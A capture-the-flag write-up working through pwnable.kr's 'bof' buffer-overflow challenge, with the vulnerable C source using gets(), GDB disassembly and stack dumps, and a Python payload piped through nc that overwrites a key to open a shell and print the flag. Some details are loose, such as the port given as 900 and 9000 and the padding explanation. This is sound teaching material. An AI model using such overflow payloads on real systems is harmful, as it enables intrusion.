Pwnable.kr’s third challenge goes like this:

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 900

Let us first download bof.c file from the given link and compile it under x86 architecture:

gcc -m32 bof.c -o bof

This is the first time we meet the beautiful beast called buffer overflow (mistery emphasis sound). Although very simple in this case, there are some gotchas that will really pull your leg in case you want to fully understand what is going on. Like those missing pieces in a puzzle that are in fact little secrets nobody actually tells you :)

In case you are surprised, I am talking about compiler optimizations. Keep this in mind: the code you write is not the code the machine runs. Indeed, if you translate your C code to Assembly by hand you would probably be very surprised how different they are, even if you don’t make any stupid mistakes - which you will. The main point so far is you should not try to predict your compiled code but instead you should debug it and believe only what you see there.

Enough of this senseless introduction. After all, if you came to this page you probably have no idea of what this is all about.

The stack

The internet is full of silly tutorials and blog posts about the stack and how buffer overflows work. In case you need some references, go for the classical Smashing the Stack for fun and Profit and the amazing Journey to the Stack. I will consider you now understand the basics about this stuff.

First let us take a look at bof.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }   
    else{
        printf("Nah..\n");
    }   
}
int main(int argc, char\* argv[]){
    func(0xdeadbeef);
    return 0;
}

My idea here is to solve this chall while showing step by step how the stack would look like. When main() calls func(), here is what we should have:

main | 0xdeadbeef | RET VAL | SAVED EBP | overflowme

What we want to do is send a big input such that gets() will read more than our buffer size (32 bytes) into the stack. C is a powerfull language, it allows you to do pretty much everything with the memory, for better or worse. If we send more than 32 bytes to our program it will not simply crash. It will instead overflow other positions in the stack, altering its values! If we do things right we might even get to key value in the stack and put 0xcaffebabe in there.

Now, how many bytes exactly would we need to send? Let’s say we will send AAA…A\xbe\xba\xfe\xca. How many padding A’s do we need? Looking at our stack diagram you might say “Dã, 32+4+4 = 40”. So we would need to send 40 A’s and then append our new key value (notice the little endian notation), right? Sadly no.

Remember when I said you should not try to predict your compiled code? Here is an example why. The stack does not behave like that in practice due to compiler optimizations. I might write a post about it some other time but for now you might want to check this SO answer and this cool paper(https://wr.informatik.uni-hamburg.de/_media/teaching/wintersemester_2013_2014/epc-14-haase-svenhendrik-alignmentinc-paper.pdf). Instead, here is how it actually looks like:

main | 0xdeadbeef | RET VAL | SAVED EBP | 0x00000003 | 0x00000001 | 0x67368200  

Debugging

You might be asking how the heck do I know it? All the answers rely on GDB. Plus, you should also be using PEDA from now on for everything related to RE, PWNing, exploits and other creatures alike. Fire up your debugger:

$gdb .bof

Now let’s see how our assembly code looks like:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0804856a <+0>: lea    ecx,[esp+0x4]
   0x0804856e <+4>: and    esp,0xfffffff0
   0x08048571 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048574 <+10>:    push   ebp
   0x08048575 <+11>:    mov    ebp,esp
   0x08048577 <+13>:    push   ecx
   0x08048578 <+14>:    sub    esp,0x4
   0x0804857b <+17>:    sub    esp,0xc
   0x0804857e <+20>:    push   0xdeadbeef
   0x08048583 <+25>:    call   0x80484fb <func>
   0x08048588 <+30>:    add    esp,0x10
   0x0804858b <+33>:    mov    eax,0x0
   0x08048590 <+38>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048593 <+41>:    leave  
   0x08048594 <+42>:    lea    esp,[ecx-0x4]
   0x08048597 <+45>:    ret    
End of assembler dump.
gdb-peda$ disassemble func
Dump of assembler code for function func:
   0x080484fb <+0>: push   ebp
   0x080484fc <+1>: mov    ebp,esp
   0x080484fe <+3>: sub    esp,0x38
   0x08048501 <+6>: mov    eax,gs:0x14
   0x08048507 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804850a <+15>:    xor    eax,eax
   0x0804850c <+17>:    sub    esp,0xc
   0x0804850f <+20>:    push   0x8048620
   0x08048514 <+25>:    call   0x8048390 <printf@plt>
   0x08048519 <+30>:    add    esp,0x10
   0x0804851c <+33>:    sub    esp,0xc
   0x0804851f <+36>:    lea    eax,[ebp-0x2c]
   0x08048522 <+39>:    push   eax
   0x08048523 <+40>:    call   0x80483a0 <gets@plt>
   0x08048528 <+45>:    add    esp,0x10
   0x0804852b <+48>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x08048532 <+55>:    jne    0x8048546 <func+75>
   0x08048534 <+57>:    sub    esp,0xc
   0x08048537 <+60>:    push   0x804862f
   0x0804853c <+65>:    call   0x80483d0 <system@plt>
   0x08048541 <+70>:    add    esp,0x10
   0x08048544 <+73>:    jmp    0x8048556 <func+91>
   0x08048546 <+75>:    sub    esp,0xc
   0x08048549 <+78>:    push   0x8048637
   0x0804854e <+83>:    call   0x80483c0 <puts@plt>
   0x08048553 <+88>:    add    esp,0x10
   0x08048556 <+91>:    nop
   0x08048557 <+92>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804855a <+95>:    xor    eax,DWORD PTR gs:0x14
   0x08048561 <+102>:   je     0x8048568 <func+109>
   0x08048563 <+104>:   call   0x80483b0 <__stack_chk_fail@plt>
   0x08048568 <+109>:   leave  
   0x08048569 <+110>:   ret    
End of assembler dump.

Don’t panic! Skimm through this bunch of letters and get only what really matters. Our goal here is to overflow the variable (surprise!) overflowme so that we can control the value of key. First thing we need is to add a breakpoint just before we call gets():

gdb-peda$ break \*0x08048523
Breakpoint 1 at 0x8048523
gdb-peda$ run
Starting program: /tmp/bof 

 [----------------------------------registers-----------------------------------]
EAX: 0xffffcedc --> 0xcd57 
EBX: 0x0 
ECX: 0x804b016 --> 0x0 
EDX: 0xf7fa9870 --> 0x0 
ESI: 0xf7fa8000 --> 0x1b1db0 
EDI: 0xf7fa8000 --> 0x1b1db0 
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0 
ESP: 0xffffcec0 --> 0xffffcedc --> 0xcd57 
EIP: 0x8048523 (<func+40>:  call   0x80483a0 <gets@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804851c <func+33>: sub    esp,0xc
   0x804851f <func+36>: lea    eax,[ebp-0x2c]
   0x8048522 <func+39>: push   eax
=> 0x8048523 <func+40>: call   0x80483a0 <gets@plt>
   0x8048528 <func+45>: add    esp,0x10
   0x804852b <func+48>: cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x8048532 <func+55>: jne    0x8048546 <func+75>
   0x8048534 <func+57>: sub    esp,0xc
Guessed arguments:
arg[0]: 0xffffcedc --> 0xcd57 
[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc --> 0xcd57 
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0 
0008| 0xffffcec8 --> 0xffffcee0 --> 0xffffffff 
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0 
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf 
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0 
0028| 0xffffcedc --> 0xcd57 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048523 in func ()

Since we don’t want to enter the gets() function, let’s just skip it

gdb-peda$ next
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 [----------------------------------registers-----------------------------------]
EAX: 0xffffcedc ('A' <repeats 32 times>)
EBX: 0x0 
ECX: 0xf7fa85a0 --> 0xfbad2288 
EDX: 0xf7fa987c --> 0x0 
ESI: 0xf7fa8000 --> 0x1b1db0 
EDI: 0xf7fa8000 --> 0x1b1db0 
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0 
ESP: 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
EIP: 0x8048528 (<func+45>:  add    esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804851f <func+36>: lea    eax,[ebp-0x2c]
   0x8048522 <func+39>: push   eax
   0x8048523 <func+40>: call   0x80483a0 <gets@plt>
=> 0x8048528 <func+45>: add    esp,0x10
   0x804852b <func+48>: cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x8048532 <func+55>: jne    0x8048546 <func+75>
   0x8048534 <func+57>: sub    esp,0xc
   0x8048537 <func+60>: push   0x804862f
[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0 
0008| 0xffffcec8 --> 0xffffcee0 ('A' <repeats 28 times>)
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0 
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf 
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0 
0028| 0xffffcedc ('A' <repeats 32 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048528 in func ()

This is why we love debuggers. We can stop in the middle of the execution and inspect what is going on behind the curtains. How is the stack right now, just after we pass 32 A’s?

gdb-peda$ x/16x $ebp-52
0xffffced4: 0xffffcf74  0xf7fa8000  0x41414141  0x41414141
0xffffcee4: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffcef4: 0x41414141  0x41414141  0x67368200  0x00000001
0xffffcf04: 0x00000003  0xffffcf28  0x08048588  0xdeadbeef

We are showing here the stack from 52 bytes under EBP until 0xdeadbeef. Please notice that the gcc aligns bytes in blocks of 16. Due to this alignment and possibly other optimizations, the compiler adds 3 more groups of 16 bytes each!

0x67368200  0x00000001  0x00000003 

Ok, so now we know we must prepend 3*4 more A’s to our payload. An elegant way of printing our payload is:

$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"')

All right, now we just need to send it to the server and get our flag! Sending

$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"') | nc pwnable.kr 9000

Will result in the shell being closed just after being opened. In order to keep it open we use the cat - trick. If you have never seen it, get used to, because it is really useful:

$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)

There you go! :)


Marcos Valle

Born to kill bugs. Live by them.